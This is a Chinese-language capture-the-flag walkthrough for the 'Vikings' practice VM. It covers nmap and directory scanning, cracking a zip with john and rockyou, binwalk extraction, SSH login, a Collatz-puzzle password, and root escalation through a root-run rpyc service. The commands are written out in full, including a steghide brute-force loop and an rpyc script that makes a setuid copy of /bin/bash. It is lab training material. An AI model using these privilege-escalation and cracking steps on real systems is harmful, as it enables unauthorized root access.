vikings靶场练习---中低
0x00部署
vikings靶机:下载地址
宿主机:kali2022
目标:获取root拿到flag文件
0x01信息收集
1.主机发现
$ sudo arp-scan -l
//因为靶机与宿主机在同一网段,所以用二级扫描来发现靶机ip
2.端口扫描
//使用namp命令,-p-指定ip,查看哪些端口开放
$ sudo nmap -p- 靶机ip
$ sudo nmap -sC -sV -O -p21,80 靶机ip
//-sC常见漏洞脚本扫描
//-sV开放端口服务/版本号
//-O操作系统探测
比较好想到的是,这里只有两个开放端口进行利用,所以流程就是在80端口找一些隐藏路径得到能登录ssh的信息进行提权。
3.信息收集(漏洞扫描)
$sudo nmap --script=vuln -p21,80 靶机ip
通过结果信息可知,可能存在sql注入
访问80页面:
点进site/
查看一下:
一个静态页面,搜罗了一下,暂时没有什么可利用的。
4.路径爬取
对80端口进行一下路径爬取,寻找隐藏信息
$ dirsearch -u http://ip //没什么特别的结果,继续
$ dirsearch -u http://ip -f -e php,txt,html //指定扩展名
$ dirsearch -u http://ip -w /usr/share/seclists/Discovery/web-content/common.txt
//指定字典进行爆破
$ gobuster dir -r -u http://192.168.56.101/site/ -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
使用dirsearch
扫描的结果:
用gobuster
扫描的结果:
根据结果的对比,找到一个war.txt
。打开之后发现指引到一个隐藏的站:
跳转至/site/war-is-over
中查看到一串字符串编码:
根据组成,可判断为base64编码。
5.编码转化/文件还原
将编码进行还原:
//这里的步骤非常实用
//使用curl将上边的编码信息以解码的方式存储到aa文件中
$ curl http://ip/site/war-is-over/ | base64 -d > aa
$ file aa //检查一下文件格式--》zip格式,需要解压
$ unzip aa //提示需要密码--》想到利用john进行爆破
$ zip2john aa > aa.hash //先将aa文件转换为hash类型的,提取他的hash,再对hash进行破解
$ cp /usr/share/wordlists/rockyou.txt.gz . //将破解字典文件放到当前目录
$ gunzip rockyou.txt.gz //解压为txt
$ john aa.hash --wordlist=rockyou.txt
得到用户名king对应密码:ragnarok123
离线密码破解
将文件解压后得到一个图片:
❤隐写术
这里得到一张图片考虑隐写术的可能:
将机密信息隐藏在一些文件中,可能是图片文件、视频文件。
考虑使用工具:steghide
命令行输入steghide进行安装,使用info命令对king文件进行读取,提示需要密码
$ steghide info king
没有针对隐写的密码爆破:
1.shell脚本(不推荐,时间久,易死机)
$ for i in $(cat "rockyou.txt");do steghide extract king -p $i;done
2.二进制文件读取–》
❤二进制文件提取
$ binwalk -B king //对2进制文件进行分析,看是否有其他文件
$ binwalk -e king //对二进制文件内容进行提取
根据分析的内容可知:本身图片格式,内部有一个压缩大小53的压缩文件,解压92,并且名字是user
提取到_king.extracted文件,查看文件中的user内容
对于得到的内容格式猜测可能是ssh连接的用户名及密码,
格式:用户名@主机
连接:用户名@ip
进行连接,找到floki才是用户名,这里需要尝试与推测,密码就是第二行的内容。
当连接中出现:**WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!**的问题,解决如下:
ssh-keygen -f "/home/用户/.ssh/known_hosts" -R "ssh连接的ip"
连接上ssh后
$ id //查看当前用户权限
$ cat /etc/passwd //查看系统用户信息
查看当前目录下内容:boat和readme.txt,都是可读文件。
查看readme内容,这里提到建造“boat”来找到Ragnar,Ragnar可能是权限高的用户名称。boat可能是密码或是提示下一步,查看boat
#可打印字符是您的盟友。(0-255)
#num = 第 29 个素数。素数就是能被自己和1整除的
collatz猜想(num)
继续检查其他内容:
进入上层目录,floki是刚才的目录,在ragnar目录下有一个user文件,得到一串字符串,应该是boat中指的盟友。
这段字符用hash-identifier检测一下是什么格式的–》md5,找个在线破解一下
素数查找/科拉茨猜想
是指对于每一个正整数,如果它是奇数,则对它乘3再加1,如果它是偶数,则对它除以2,如此循环,最终都能够得到1
Python代码编写
这还比较方便:
vi sushu.py
python3 sushu.py
//sushu.py的内容
n = 0
for x in range(1000):
if x < 2:
continue
h = int(x / 2) + 1
for i in range(2,h):
if x % i == 0:
break
else:
n += 1
print(n,":",x)
运行之后得到第29个素数是109
//collatz猜想的python实现
def collatz(x):
result = [109]
while x != 1:
if x % 2 == 1:
x = (3 * x) + 1
else:
x = (x / 2)
if x <= 255:
result.append(int(x))
return result
print(collatz(109))
运行之后得到一串数字
使用工具:cyberchef将得到的信息进行转换
分别使用from decimal,string和find功能:
1.选择十进制用逗号隔开再转换得到一串字符,其中也包含不可输入的
2.将不能输入的去掉,同时去掉换行
得到最后的结果
mR)|>^/Gky[gz=\.F#j5P(
连接ragnar用户:
发现可以连接但是仍然需要sudo的权限密码:尝试了一下发现咩有
这里ragnar所用的bash是sh,比较简单的bash,将它换成bash
/bin/bash -i
寻找一登录就执行的指令:
RPC漏洞提权
rpc是一种远程调用服务,思路:
当前没有写的权限,但是了解rpc是服务客户端这种开放端口连接的方式,通过客户端编写代码提交给服务器来帮忙执行
执行命令以root用户来提取指令–>来获取root权限的shell
检查一下rpc服务的用户权限(root):
在rpc的文档知其默认端口:18812
//检查一下服务端口是否开放
$ ss -pantu | grep 18812
说明服务是正在执行的,且侦听地址是127.0.0.1,所以服务需要连靶机在靶机上运行,编写rpc服务功能,获取root权限:
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
//os.system('sudo usermod -a -G sudo ragnar')
fn = conn.teleport(getshell)
fn()
运行之后进入/tmp
中查看到bashroot
启用:/tmp/bashroot -p
成功获取权限
完成提权
0x02 总结
viking靶机中涉及使用:
80端路径爬取
john破解加密压缩文件
隐写术以及破解方式
工具:cyberchef的使用
python实现功能
rpc漏洞提权